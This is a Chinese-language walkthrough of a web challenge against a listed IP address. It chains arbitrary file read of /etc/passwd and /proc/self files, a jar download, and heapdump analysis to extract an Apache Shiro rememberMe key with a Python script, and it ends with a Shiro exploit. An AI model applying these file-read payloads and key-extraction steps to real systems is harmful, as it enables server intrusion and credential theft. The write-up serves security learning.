一道WEB题
target:
http://175.27.156.185/case1/
首先打开目标开启burpsuite发现file参数,一看就有戏呀,可能存在任意文件读取和任意文件下载
尝试一下任意文件读取读取一下etc/passwd
GET /case1/show/showfile?file=%2fetc%2fpasswd HTTP/1.1
Host: 175.27.156.185
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/css,*/*;q=0.1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://175.27.156.185/case1/
HTTP/1.1 200
Server: nginx/1.14.1
Date: Fri, 25 Feb 2022 10:55:07 GMT
Connection: close
Content-Length: 919
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
fuzz file参数后面的目录发现任意文件下载
查看pwd参数获取运行路径
file=/proc/self/environ
获取运行Jar文件名字
file=/proc/self/cmdline
然后利用任意文件文件下载,下载jar包,读取一下jar包
file=/qax/alibaba/360/WTF-0.0.1-SNAPSHOT.jar
发现的配置文件路径/case1/oalaola/monitoring
访问一下
生成临时空间准备下载内存,heapdump
[
利用任意文件下载,临时文件下载下来heapdump,开始找KEY
](https://sm.ms/image/bHU2zrCagiAu9ph)
这里使用的工具是VisualVM2.1.2
http://visualvm.github.io/download.html
导入headdump分析
全局找这个CookieRememberMeManager这个对象
0-15这个标签就是内存里面的key值,但是说最原始状态,也就是key的bytes,需要用的算法给他还原成key
这里使用一个python写的还原key脚本
byte转16要求二进制源码,然后得出反码,再转换成16进制,再经过beat64编码就是我们要用的shiro key了
import base64
import struct
print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb',-59,-125,-53,-36,-91,-41,-106,-30,-81,-82,-38,-99,-91,-110,-112,-86 )))
运行
成功得到key
xYPI3FvXah6vrtpjw256qg==
shiroEXP利用拿下